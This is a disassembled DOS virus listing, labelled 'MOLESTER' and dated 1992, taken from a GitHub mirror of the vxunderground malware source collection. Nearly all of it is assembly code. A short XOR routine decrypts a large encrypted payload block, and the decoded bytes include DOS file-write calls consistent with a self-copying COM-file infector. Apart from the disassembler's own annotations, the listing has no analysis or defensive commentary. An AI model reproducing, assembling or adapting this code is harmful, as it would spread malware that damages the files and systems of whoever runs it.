mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 09:52:32 +00:00
197 lines
5.3 KiB
NASM
197 lines
5.3 KiB
NASM
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PAGE 59,132
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;==========================================================================
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;== ==
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;== MOLESTER ==
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;== ==
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;== Created: 18-Apr-92 ==
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;== Passes: 5 Analysis Options on: QRSU ==
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;== ==
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;==========================================================================
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seg_a segment byte public
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assume cs:seg_a, ds:seg_a
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org 100h
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MOLESTER proc far
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start:
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jmp real_start ; (0106)
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;* No entry point to code
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int 10h ; Video display ah=functn 00h
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; set display mode in al
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retn
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;==========================================================================
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;
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; External Entry Point
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;
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;==========================================================================
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real_start: ; xref 580C:0100
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;* jmp short loc_1 ;*(010C)
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db 0EBh, 04h
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;* No entry point to code
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nop
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dec si
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pop ss
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add bh,[bp+di+101h]
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mov ah,[bx]
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mov bx,102h ; (580C:0102=0)
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mov al,[bx]
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xchg al,ah
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add ax,3
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mov si,ax
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mov cl,byte ptr ds:[103h][si] ; (580C:0103=0CDh)
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call sub_1 ; (0308)
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cmpsw ; Cmp [si] to es:[di]
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into ; Int 4 on overflow
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dec si
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db 64h, 60h, 0Dh, 01h, 03h, 4Eh
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db 6Eh, 3Bh,0F2h,0DCh
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db 'VHNNNteten'
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db 1Ah
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db '&+n', 0Ah, '/:/n'
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db 3
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db '!"+=:+<n'
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db 18h, 27h, 3Ch, 3Bh, 3Dh, 6Eh
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db 18h, 7Fh
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db '`!!netetDCf-g'
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db 7Fh, 77h, 77h, 7Ch, 6Eh, 03h
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db 2Fh, 14h, 6Eh, 68h, 6Eh, 1Ah
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db 26h, 2Bh, 6Eh, 18h, 27h, 22h
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db 2Bh, 6Eh, 01h, 20h, 2Bh, 6Eh
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db 61h, 6Eh, 1Ah
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db 26h, 2Bh, 6Eh
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db 0Ch, '+:/', 0Ch, '!7=n', 0Ah, '+8'
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db '+"!>#+ :n', 0Dh, '!<>!</:'
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db 27h, 21h, 20h, 60h, 44h, 43h
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db 0A7h, 4Dh, 4Eh,0F6h,0FAh, 54h
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db 0C3h,0DAh, 59h, 4Dh,0CDh, 8Ch
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db 48h, 83h, 6Fh,0FAh, 00h,0C3h
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db 0DAh, 6Fh, 4Fh,0F7h, 48h, 4Eh
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db 83h, 6Fh, 73h, 5Ch, 4Eh, 3Ah
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db 10h,0A5h, 40h,0DEh,0FAh, 70h
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db 83h, 6Fh,0FAh, 01h, 83h, 6Fh
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db 73h, 5Ch, 4Eh, 3Ah, 00h, 18h
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db 0C9h,0BBh,0C3h,0F8h, 62h, 4Dh
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db 0CDh, 88h, 48h,0F7h, 47h, 4Eh
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db 0C3h,0F0h, 69h, 4Fh,0BDh,0EAh
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db 10h,0FAh
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loc_2: ; xref 580C:01E7
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jnc loc_2 ; Jump if carry=0
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dec sp
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retn
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db 0DAh, 59h, 4Dh,0CDh, 8Ch, 6Ah
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db 83h, 6Fh,0C5h, 96h,0F6h, 4Fh
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db 0Dh, 7Dh, 87h, 83h, 6Fh,0A6h
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db 97h, 4Eh, 1Eh, 63h, 48h, 4Eh
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db 0C5h
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loc_3: ; xref 580C:020B
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sahf ; Store ah into flags
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dec byte ptr [bp-5Ah]
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pushf ; Push flags
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dec si
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cli ; Disable interrupts
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jno loc_3 ; Jump if not overflw
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dec di
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dec si
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retn
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db 0DAh,0EEh, 4Fh, 83h, 6Fh,0C4h
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db 0EAh,0EEh, 4Fh,0CEh,0B2h, 0Ch
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db 3Bh, 4Bh,0A5h,0EBh,0A5h, 1Eh
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db 0DEh, 7Ch, 8Eh,0A6h,0FCh, 4Eh
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db 0F6h, 4Eh, 71h,0F7h, 4Dh, 4Eh
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db 0C3h,0DAh, 59h, 4Dh,0CDh, 8Ch
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db 4Dh, 83h, 6Fh, 7Ch, 8Eh,0A6h
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db 0D0h, 4Eh, 16h, 63h, 4Dh, 4Eh
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db 0C6h,0CAh,0D0h, 4Fh,0C6h,0EAh
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db 0D1h, 4Fh,0FAh, 0Eh,0F7h, 4Dh
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db 4Eh,0C3h,0DAh,0D3h, 4Fh, 83h
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db 6Fh,0A6h,0CCh, 4Eh,0C5h,0B5h
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db 0A6h,0C6h, 4Eh,0C5h, 91h,0A6h
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db 36h, 4Eh,0F6h, 4Eh, 0Eh,0C3h
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db 0DAh, 59h, 4Dh,0CDh, 8Ch, 4Dh
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db 0F7h, 4Dh, 4Eh, 83h, 6Fh,0A5h
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db 4Fh,0DEh,0F6h, 4Fh, 19h,0C5h
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db 0DAh, 64h, 4Fh,0C5h,0C2h, 66h
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db 4Fh, 83h, 6Fh,0FAh, 70h, 83h
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db 6Fh,0F6h, 4Fh, 0Dh,0C3h,0DAh
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db 59h, 4Dh,0CDh, 8Ch, 6Ah, 7Ch
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db 0A3h,0C4h,0C2h, 69h, 4Fh, 83h
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db 6Fh,0F7h, 4Dh, 4Eh,0C3h,0CAh
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db 59h, 4Dh,0C5h,0BEh,0F1h, 4Eh
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db 4Fh,0BDh,0EAh,0FAh, 64h, 83h
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db 6Fh,0CEh,0B0h, 4Bh, 3Bh, 46h
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db 0CEh,0B4h, 42h, 3Bh, 4Dh,0A5h
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db 45h,0DEh,0CEh,0B0h, 4Ch, 3Bh
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db 5Bh,0CEh,0B4h, 57h, 3Bh, 5Eh
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db 0FEh, 4Ch,0F7h,0BAh, 4Fh,0F4h
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db 4Eh, 4Eh, 83h, 68h,0B0h, 8Eh
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db 72h, 4Ah, 3Bh,0BCh,0A6h, 4Ch
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db 4Eh, 83h, 6Eh,0F1h, 4Eh, 4Fh
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db 0B1h,0A9h,0FEh, 4Ch, 7Dh, 9Ch
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db 7Dh, 87h,0FAh, 0Ch, 83h, 6Fh
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db 8Dh,0B4h, 2Ch,0CDh, 21h, 86h
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db 0D1h, 32h,0EDh, 51h,0E8h, 19h
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db 00h, 59h, 88h, 8Ch, 03h, 01h
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db 51h, 8Bh,0DFh,0B4h, 40h, 8Dh
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db 94h, 00h, 01h, 8Bh, 8Ch, 04h
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db 01h,0CDh, 21h, 59h,0E8h, 01h
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db 00h,0C3h
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MOLESTER endp
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;==========================================================================
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; SUBROUTINE
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;
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; Called from: 580C:0121
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;==========================================================================
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sub_1 proc near
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lea bx,ds:[11Eh][si] ; (580C:011E=8Ch) Load effective addr
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lea dx,cs:[2DDh][si] ; Load effective addr
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loc_4: ; xref 580C:0317
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cmp bx,dx
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je loc_ret_5 ; Jump if equal
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xor [bx],cl
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inc bx
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jmp short loc_4 ; (0310)
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loc_ret_5: ; xref 580C:0312
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retn
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sub_1 endp
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db 42h, 2Eh, 42h,0B8h, 07h, 0Eh
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seg_a ends
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end start
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____________________ CROSS REFERENCE - KEY ENTRY POINTS ___________________
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seg:off type label
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---- ---- ---- --------------------------------
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580C:0100 far start
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580C:0106 extn real_start
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__________________ Interrupt Usage Synopsis __________________
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Interrupt 10h : Video display ah=functn xxh
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Interrupt 10h : ah=00h set display mode in al
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__________________ I/O Port Usage Synopsis __________________
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No I/O ports used.
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